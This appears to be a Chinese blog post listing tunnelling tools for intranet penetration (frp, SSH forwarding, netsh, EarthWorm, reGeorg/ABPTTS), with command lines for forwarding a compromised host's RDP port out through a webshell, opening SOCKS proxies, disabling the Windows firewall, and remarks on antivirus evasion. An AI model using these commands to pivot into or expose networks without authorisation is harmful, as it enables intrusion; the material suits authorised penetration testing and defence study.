• 内网渗透中常用的隧道工具


    frp

    项目地址

    https://github.com/fatedier/frp/

    简介

    • frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透
    • 跨平台支持linux,win,mac
    • 类似于ngrok,运维、开发人员经常使用它管理内网机器和调试程序,例如将内网的22,3389转发到公网,开发人员将本地web服务转发到公网调试,msf/rat远控的内网上线,可以代替前几年流行的”内网通”服务
    • 优点:不需要免杀,支持加密传输

    基本用法

    • 在有公网ip的vps上部署服务端,然后在目标的内网机器上运行客户端即可反连公网机器,根据配置把内网中的目的端口转发到公网的那台机器上。网上也有一些免费和收费frp服务,可以免去自己部署服务端。

    • 简单示例:
      服务端和客户端均支持配置文件ini运行和命令行运行,下面示例为命令行。

      1
      2
      服务端:./frps -p <服务监听端口> -t <token>
      客户端:./frpc tcp -s <服务端ip>:<服务端端口> -r <在服务端监听的对应端口> -i <内网地址> -l <内网端口> -t <token> --ue --uc

      –ue –uc 分别为加密和压缩(use_encryption && use_compression)

      例如通过webshell转发出该机器的3389端口

      1
      2
      你的机器:./frps -p 7890 -t woshitoken
      Webshell: frpc.exe tcp -s 1.1.1.1:7890 -r 9999 -i 127.0.0.1 -l 3389 -t woshitoken --ue --uc

      此时访问你机器的9999端口,即可访达目标机器的3389端口。

    • 更多参数用法查看github项目。


    SSH

    简介

    • SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是,SSH 还同时提供了一个非常有用的功能,这就是端口转发

    • 优点:linux自带,传输加密,支持socks代理

    用法示例

    相关参数:

    1
    2
    3
    4
    5
    6
    7
    -C :压缩数据传输。
    -f :后台认证用户/密码,通常和-N连用,不用登录到远程主机。
    -N :不执行脚本或命令,通常与-f连用。
    -g :在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。
    -L :本地转发
    -R :远程转发
    -D :动态转发,即socks代理
    本地转发(本地建立监听)
    1
    2
    ssh -C -f -N -g -L <本地监听ip>:<本地端口>:<远程ip>:<远程端口> 用户名@目标IP -p <ssh端口>
    ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.100:3389 root@192.168.2.101 -p 22
    远程转发(远端建立监听)
    1
    2
    ssh -C -f -N -g -R <远程ip>:<远程端口>:<本地ip>:<本地端口> 用户名@目标IP -p <ssh端口>
    ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.2:3389 root@192.168.2.101 -p 22

    注:如果远端不能监听0.0.0.0,以下两个方法:

    1
    2
    3
    4
    5
    1. 需要修改 ssh 配置/etc/ssh/sshd_config
    GatewayPorts 项写为 yes
    重启ssh后即可监听0.0.0.0

    2. 使用rinetd把监听在127.0.0.1转发到0.0.0.0上
    动态转发(socks)
    1
    2
    ssh -C -f -N -g -D <本地ip>:<本地端口> 用户名@目标IP -p <ssh端口>
    ssh -C -f -N -g -D 0.0.0.0:1080 root@192.168.2.101 -p 22

    socks代理上本地的1080端口,即可访问192.168.2.101的内网环境


    netsh

    简介

    • netsh是Network Shell的缩写,是windows为我们提供的功能强大的网络配置命令行工具。
    • 支持tcp,udp 正向端口转发和修改防火墙规则,没有反向转发的功能,不支持socks。
    • 优点:win自带,支持ipv4和v6。

    用法

    • 在xp/2003下使用,要先安装ipv6,装完后需要重启机器才能生效

      1
      netsh interface ipv6 install
    管理防火墙
    • 对于xp/2003的操作命令不同与之后的系统,而且xp/2003的防火墙不区分出站入站

      1
      2
      3
      4
      5
      6
      netsh firewall show state 可查看防火墙的状态,从显示结果中可看到防火墙各功能模块的禁用及启用情况。
      netsh firewall set opmode disable 用来禁用系统防火墙
      netsh firewall set opmode enable 可启用防火墙。

      netsh firewall add portopening TCP <端口号> "规则名称" 允许xx端口出入站
      netsh firewall delete portopening TCP <端口号> 删除该条规则
    • 对于 2003 以后的系统,命令如下

      1
      2
      3
      4
      5
      6
      netsh advfirewall show allprofiles 查看防火墙的状态
      netsh advfirewall set allprofiles state on 开启防火墙
      netsh advfirewall set allprofiles state off 关闭防火墙

      netsh advfirewall firewall add rule name="规则名称" dir=in(in为入站,out为出站) action=allow(allow为放行,block为阻止) protocol=TCP localport=<端口号> 添加规则
      netsh advfirewall firewall delete rule name="规则名称" dir=in protocol=TCP localport=<端口号> 删除规则
    端口转发
    1
    2
    3
    netsh interface portproxy show all   查看所有已设置的转发规则
    netsh interface portproxy add v4tov4 listenport=<监听端口> connectaddress=<将要转发的ip> connectport=<将要转发的端口> 添加转发规则
    netsh interface portproxy delete v4tov4 listenport=<转发的端口> 删除规则

    ew(EarthWorm)

    项目地址

    https://github.com/rootkiter/EarthWorm

    https://github.com/rootkiter/EarthWorm/blob/master/server/download/ew.zip

    简介

    • 支持正反向tcp端口转发,类似lcx(htran)
    • 支持反向socks代理
    • 缺点:流量不加密,需要免杀

    用法简要说明

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -l 本地要监听的端口
    -f 要主动连接的ip
    -g 要主动连接的端口
    -d 要反弹到的ip
    -e 要反弹到的端口
    -s 工作模式

    工作模式支持如下:
    lcx_tran 正向tcp端口转发,监听在本地
    lcx_slave 反向tcp转发客户端
    lcx_listen 反向tcp服务端
    ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
    rssocks 创建反向socks代理服务端
    rcsocks 反向socks代理客户端

    reGeorg&ABPTTS

    项目地址

    https://github.com/sensepost/reGeorg

    https://github.com/nccgroup/ABPTTS

    简介

    两款针对Web应用程序的HTTP隧道,使用方法简单,详情查看github项目

    reGeorg 一直没测试成功

    SSH 用着他挺方便的,一般都是在msf中  开代理 映射

  • 相关阅读:
    使用java.util.Timer来周期性的执行制定的任务
    Android中为APP创建快捷方式的原理(自己的理解)
    View.setTag()的作用
    用3种方法在 operator= 中处理“自我赋值”
    关于 const 成员函数
    复制构造函数 与 赋值操作函数
    Command 模式
    Mediator 模式
    求一棵普通树的两个结点的最低公共祖先
    Memento 模式
  • 原文地址:https://www.cnblogs.com/anbuxuan/p/11778483.html
Copyright © 2020-2023  润新知